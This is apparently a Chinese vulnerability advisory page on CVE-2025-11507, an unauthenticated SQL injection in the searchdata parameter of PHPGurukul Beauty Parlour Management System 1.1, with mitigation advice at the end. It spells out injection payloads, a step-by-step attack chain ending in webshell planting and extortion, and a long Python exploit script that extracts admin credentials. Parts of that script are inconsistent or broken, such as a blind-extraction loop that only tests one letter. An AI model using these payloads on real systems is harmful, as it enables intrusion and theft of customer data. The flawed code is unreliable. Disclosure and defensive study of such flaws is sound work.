IPBUF安全漏洞报告
English
CVE-2025-11507 CVSS 7.3 高危

CVE-2025-11507:PHPGurukul美容院管理系统SQL注入漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11507
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Beauty Parlour Management System

相关标签

SQL注入CVE-2025-11507PHPGurukulBeauty Parlour Management System高危漏洞远程利用无需认证search-invoices.phpWeb应用漏洞数据库安全

漏洞概述

CVE-2025-11507是PHPGurukul Beauty Parlour Management System 1.1版本中存在的一个高危SQL注入漏洞。该漏洞位于管理后台的/admin/search-invoices.php文件中,攻击者可以通过操控searchdata参数执行恶意SQL查询。由于该系统是一款用于美容院业务管理的Web应用程序,包含客户信息、服务记录、发票管理等敏感数据,因此该漏洞可能导致大量业务和客户数据泄露。

该漏洞的CVSS 3.1评分为7.3,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),也无需用户交互(UI:N),这意味着远程攻击者可以轻松利用此漏洞。虽然机密性、完整性和可用性影响均为低级别(C:L/I:L/A:L),但在实际攻击场景中,攻击者可能通过SQL注入进一步获取数据库管理员权限,导致更严重的后果。

值得注意的是,该漏洞的利用代码已经在GitHub上公开发布(github.com/f000x0/cve/issues/13),且已被纳入公共漏洞数据库,这大大降低了攻击者的利用门槛。PHPGurukul作为面向中小型美容院的业务管理系统,其用户群体广泛,一旦遭受攻击,可能对美容院运营和客户隐私造成重大影响。

技术细节

该SQL注入漏洞存在于PHPGurukul Beauty Parlour Management System 1.1的/admin/search-invoices.php文件中。漏洞的根本原因是开发者在处理searchdata参数时,未对用户输入进行充分的过滤和参数化处理,而是直接将用户输入拼接到SQL查询语句中执行。

从技术层面分析,攻击者可以通过构造包含恶意SQL片段的searchdata参数,注入到原始查询中。典型的注入payload可能采用经典的UNION SELECT技术或基于布尔的盲注技术,例如:

1. UNION注入:searchdata=' UNION SELECT 1,username,password,4 FROM admin-- -
2. 布尔盲注:searchdata=' AND (SELECT SUBSTRING(@@version,1,1))='5'-- -
3. 时间盲注:searchdata=' OR SLEEP(5)-- -

由于该漏洞位于管理后台路径下(/admin/),但CVSS向量显示无需认证(PR:N),这表明/admin/search-invoices.php端点可能存在访问控制缺陷,允许未认证用户直接访问并触发注入。攻击者可以利用此漏洞:
1. 提取数据库中的所有数据,包括管理员凭据
2. 修改或删除数据库中的记录
3. 在某些MySQL配置下读取服务器文件或写入Webshell
4. 通过LOAD_FILE()或INTO OUTFILE实现远程代码执行

修复方案应包括使用预处理语句(Prepared Statements)、参数化查询,以及对所有用户输入进行严格的输入验证和过滤。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具发现运行PHPGurukul Beauty Parlour Management System 1.1的目标服务器,识别管理后台路径/admin/
STEP 2
步骤2:漏洞探测
攻击者访问/admin/search-invoices.php端点,向searchdata参数发送包含单引号或UNION SELECT等SQL注入测试payload,检测是否存在注入漏洞
STEP 3
步骤3:注入利用
确认漏洞存在后,攻击者构造UNION SELECT或布尔盲注payload,通过searchdata参数提取数据库信息,包括数据库版本、表名、列名等元数据
STEP 4
步骤4:数据提取
攻击者利用注入漏洞查询tbladmin等关键管理员表,提取管理员用户名和密码哈希,同时获取客户信息、服务记录等敏感业务数据
STEP 5
步骤5:权限提升与持久化
攻击者使用获取的管理员凭据登录系统后台,或尝试通过SQL注入写入Webshell(利用INTO OUTFILE),实现对服务器的持久化控制
STEP 6
步骤6:数据破坏或勒索
攻击者可删除或篡改数据库中的发票、客户记录等业务数据,或对美容院进行勒索,造成业务中断和经济损失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11507 PoC - SQL Injection in PHPGurukul Beauty Parlour Management System 1.1 # Vulnerable file: /admin/search-invoices.php # Vulnerable parameter: searchdata import requests TARGET_URL = "http://target.com" VULN_PATH = "/admin/search-invoices.php" def exploit_sql_injection(target_url, searchdata_payload): """ Exploit SQL injection via searchdata parameter """ url = target_url + VULN_PATH params = { "searchdata": searchdata_payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(url, params=params, headers=headers, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None def extract_database_version(target_url): """Extract MySQL version using UNION-based injection""" # Determine number of columns first payload = "' UNION SELECT @@version,2,3,4,5,6,7,8,9,10-- -" return exploit_sql_injection(target_url, payload) def extract_admin_credentials(target_url): """Extract admin username and password""" payload = "' UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM tbladmin-- -" return exploit_sql_injection(target_url, payload) def boolean_based_blind_injection(target_url): """Boolean-based blind SQL injection to extract data character by character""" result = "" for i in range(1, 50): # Test if the i-th character of the first admin password starts with common chars payload = f"' AND SUBSTRING((SELECT password FROM tbladmin LIMIT 0,1),{i},1)='a" response = exploit_sql_injection(target_url, payload) if response and "invoice" in response.lower(): result += "a" print(f"[+] Found char at position {i}: a") return result def time_based_blind_injection(target_url): """Time-based blind SQL injection""" payload = "' OR SLEEP(5)-- -" import time start = time.time() response = exploit_sql_injection(target_url, payload) elapsed = time.time() - start if elapsed >= 5: print(f"[+] Time-based injection confirmed! Elapsed: {elapsed:.2f}s") return True return False if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Vulnerable endpoint: {VULN_PATH}") print(f"[*] Vulnerable parameter: searchdata") print() # Test basic injection print("[*] Testing UNION-based injection...") result = extract_database_version(TARGET_URL) if result: print(f"[+] Response length: {len(result)}") print(f"[+] Response preview: {result[:500]}") # Test time-based injection print("\n[*] Testing time-based blind injection...") time_based_blind_injection(TARGET_URL) # Extract admin credentials print("\n[*] Attempting to extract admin credentials...") creds = extract_admin_credentials(TARGET_URL) if creds: print(f"[+] Response: {creds[:1000]}")

影响范围

PHPGurukul Beauty Parlour Management System 1.1

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web服务器配置限制/admin/search-invoices.php端点的访问,仅允许可信IP地址访问管理后台;2)部署WAF规则,拦截包含UNION、SELECT、SLEEP等SQL关键字的searchdata参数请求;3)将数据库连接账户降权,禁止使用root账户,禁用FILE权限;4)在应用层面对searchdata参数进行输入过滤,仅允许字母数字字符;5)监控数据库日志,排查是否存在异常查询记录;6)定期备份数据库,以便在遭受攻击后快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表